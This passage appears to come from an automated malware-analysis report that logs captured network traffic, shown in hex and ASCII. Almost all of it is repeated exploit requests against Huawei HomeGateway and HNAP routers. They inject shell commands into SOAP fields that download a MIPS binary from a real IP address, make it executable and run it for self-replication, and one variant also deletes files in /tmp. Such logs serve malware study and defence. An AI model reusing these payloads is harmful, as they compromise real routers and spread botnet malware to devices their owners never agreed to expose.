62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
